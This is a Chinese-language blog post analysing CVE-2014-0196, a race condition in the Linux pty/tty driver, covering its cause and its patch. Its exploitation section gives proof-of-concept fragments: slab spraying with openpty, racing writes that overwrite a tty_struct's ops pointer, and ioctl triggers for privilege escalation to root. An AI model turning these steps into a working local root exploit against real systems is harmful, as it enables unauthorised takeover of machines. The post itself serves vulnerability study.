pty/tty设备竞争条件漏洞 (CVE-2014-0196)

时间:2022-07-05 21:06:20

前置知识

1.      pty/tty。历史非常悠久的产物,主要用于终端的输入输出。介绍性的文章:http://www.linusakesson.net/programming/tty/

2.      slab。主要用于分配特定大小的内存,防止内存碎片、空洞,有点类似windows内核里的Lookaside。百度百科相关文章:http://baike.baidu.com/view/5870164.htm?fr=aladdin

 

CVE-2014-0196

这个漏洞据称是隐藏在linux内核中长达5年之久,随着android的兴起,越来越多的人研究linux,linux下的内核漏洞也一个个被安全人员所发现。

这个漏洞的主要成因是因为在pty/tty设备驱动中在访问某些资源的时候没有正确的加锁处理,导致并发状态下存在条件竞争的bug。


漏洞成因

主要结构

首先来看几个重要的结构:

struct tty_buffer {
    struct tty_buffer *next;
    char *char_buf_ptr;
    unsigned char *flag_buf_ptr;
    int used;
    int size;
    int commit;
    int read;
    /* Data points here */
    unsigned long data[0];
};

tty_buffer是一个动态大小的对象,指针char_buf_ptr通常是指向data的第一个字节,flag_buf_ptr指针指向data+ size位置。size的取值通常可以是以下的几个:256,512,768,1024,1280,1536,1792(TTY_BUFFER_PAGE)。

         所以,tty_buffer对象的实际大小为:2 * size+ sizeof(tty_buffer)。2*size主要是因为char_buf和flag_buf的内容。所以tty_buffer可能被保存在如下的内核堆slab中:kmalloc-1024,kmalloc-2048,kmalloc-4096。


struct tty_bufhead {
    struct work_struct work;
    spinlock_t lock;
    struct tty_buffer *head;    /* Queue head */
    struct tty_buffer *tail;    /* Active buffer */
    struct tty_buffer *free;    /* Free queue head */
    int memory_used;        /* Buffer space used excluding free queue */
};

顾名思义,tty_bufhead结构是各个tty_buffer的链表头。同时,tail字段还指向最后一个,即当前活跃的那个tty_buffer。它在空闲链表中保存的字节数通常小于512字节。


struct tty_struct {
    int magic;
    struct kref kref;
    struct device *dev;
    struct tty_driver *driver;
    const struct tty_operations *ops;
    /* ... */
    struct tty_bufhead buf;  /* Locked internally */
    /* ... */
};

tty_struct数据结构在内核中标识了一个tty/pty。其中buf字段即上述的tty_bufhead数据结构。


关键函数分析

问题主要出在tty_insert_flip_string_fixed_flag这个函数中,函数调用堆栈大致如下:

write(pty_fd) in userspace ->

sys_write() in kernelspace ->

tty_write() ->

pty_write() ->

tty_insert_flip_string_fixed_flag()

 

代码如下:

int tty_insert_flip_string_fixed_flag(struct tty_struct *tty,
        const unsigned char *chars, char flag, size_t size)
{
    int copied = 0;
    do {
        int goal = min_t(size_t, size - copied, TTY_BUFFER_PAGE);
        int space = tty_buffer_request_room(tty, goal);         		/* -1- */
        struct tty_buffer *tb = tty->buf.tail;
        /* If there is no space then tb may be NULL */
        if (unlikely(space == 0))
            break;
        memcpy(tb->char_buf_ptr + tb->used, chars, space);      	/* -2- */
        memset(tb->flag_buf_ptr + tb->used, flag, space);       
        tb->used += space;                                     /* -3- */
        copied += space;
        chars += space;
        /* There is a small chance that we need to split the data over
           several buffers. If this is the case we must loop */
    } while (unlikely(size > copied));
    return copied;
}

这个函数逻辑很简单,在-1-处调用tty_buffer_request_room函数判断是否还有空闲内存,如果没有则申请。

-2-处将应用层传下来的内容拷贝到tty_buffer中。

-3-处递增tty_buffer. used的字节数。

 

下面再来看看tty_buffer_request_room函数的实现:

int tty_buffer_request_room(struct tty_struct *tty, size_t size)
{
    struct tty_buffer *b, *n;
    int left;                                   /* -1- */
    unsigned long flags;

    spin_lock_irqsave(&tty->buf.lock, flags);   		/* -2- */

    /* OPTIMISATION: We could keep a per tty "zero" sized buffer to
       remove this conditional if its worth it. This would be invisible
       to the callers */
    if ((b = tty->buf.tail) != NULL)
        left = b->size - b->used;               	/* -3- */
    else
        left = 0;

    if (left < size) {                          	/* -4- */
        /* This is the slow path - looking for new buffers to use */
        if ((n = tty_buffer_find(tty, size)) != NULL) {
            if (b != NULL) {
                b->next = n;
                b->commit = b->used;
            } else
                tty->buf.head = n;
            tty->buf.tail = n;
        } else
            size = left;
    }

    spin_unlock_irqrestore(&tty->buf.lock, flags);
    return size;
}

可以看到这里tty_buffer_request_room函数传进来的第二个参数size是一个size_t类型的参数,而size_t其实就是无符号整型unsignedlong。再来看看-1-处的left是一个int类型的,即有符号整型。

-2-处有一个自旋锁的保护,但是这个锁保护的范围太小了,也是造成我们竞争条件成立的一个重要原因之一。

-4-处是一个if (left< size)的比较,但是正如前所述,left是int型,有符号数,而size是一个无符号数。left的值从何而来,-3-处left = b->size - b->used;当b->size >b->use的时候,那么left有可能会是一个负数。-4-处的比较,如果负数和无符号数比较会被转成无符号数,因此条件不成立,函数以为buffer空间还是够用的,因此不会分配空间。

 

上面说了这么多可能还有点抽象,我特地写了一个测试程序,代码如下:

#include "stdafx.h"
int _tmain(int argc, _TCHAR* argv[])
{
	int a = -1;
	size_t b = 10;

	if (a < b)
		printf("%d < %d", a, b);
	else
		printf("%d > %d", a, b);

	getchar();
	return 0;
}

程序输出如下:

pty/tty设备竞争条件漏洞 (CVE-2014-0196)

看了这个例子之后,那么上面tty_buffer_request_room函数的那个比较也就一目了然了。但是什么时候能使得int型的left(left = b->size - b->used)为负数呢,即b->size< b->used。下面来看一个竞争条件成立时的场景示意图:

pty/tty设备竞争条件漏洞 (CVE-2014-0196)

从上图可以看出,赢得竞争条件的最大要诀是B进程在进入tty_buffer_request_room函数并计算left值的时候,A进程还没来得急更新tb->used的值。

正因为memcpy函数的执行耗时比较久,所以使得上述的假设有很大的几率能够满足竞争条件。

当前tty_buffer被写满之后,即tb->used> tb->size,那么我们后续的写入操作就可以随便我们控制写到相邻的tty_struct中去了。


如何利用

Poc主要以kmalloc-1024为例:
1.首先创建一个我们用来溢出用的目标tty_struct

if (openpty(&master_fd, &slave_fd, NULL, NULL, NULL) == -1) {
	puts("\n[-] pty creation failed");
	return 1;
}

2.然后创建30个tty_struct,使得slab堆变得排列有序。

#define RUN_ALLOCS    30
for (j = 0; j < RUN_ALLOCS; ++j)
	if (openpty(&fds[j], &fds2[j], NULL, NULL, NULL) == -1) {
			puts("\n[-] pty creation failed");
			return 1;
	}

3.创建线程开始溢出。

void *overwrite_thread_fn(void *p) {
    write(slave_fd, buf, 511);

    write(slave_fd, buf, 1024 - 32 - (1 + 511 + 1));
    write(slave_fd, &overwrite, sizeof(overwrite));
}

前面两句主要用来写满一个slab,其中的32字节表示sizeof(structtty_buffer)。最后一句write(slave_fd, &overwrite, sizeof(overwrite));如果在赢得竞争条件的情况下,会覆盖后面的salb开头的几个字节,于是乎该tty_struct就被改写了。其中tty_struct结构中有一个ops成员,该成员是一个指针数组,其中的每个元素对应着一个tty设备的操作,例如open(),close(),ioct()等。

overwrite指针数组的每个元素都指向payload,只要对每个设备执行open、ioctl等操作,就有机会触发那个溢出的tty_struct,从而获得root权限。


4.触发payload

for (j = 0; j < RUN_ALLOCS; ++j) {
	if (j == RUN_ALLOCS / 2)
		continue;

	ioctl(fds[j], 0xdeadbeef);
	ioctl(fds2[j], 0xdeadbeef);

	close(fds[j]);
	close(fds2[j]);
}

ioctl(master_fd, 0xdeadbeef);
ioctl(slave_fd, 0xdeadbeef);

漏洞修复

补丁很简单,就是在tty write外层加了一个锁。

pty/tty设备竞争条件漏洞 (CVE-2014-0196)..


参考文章

http://www.linusakesson.net/programming/tty/

http://blog.includesecurity.com/2014/06/exploit-walkthrough-cve-2014-0196-pty-kernel-race-condition.html

https://github.com/jocover/CVE-2014-0196/blob/master/cve-2014-0196-md.c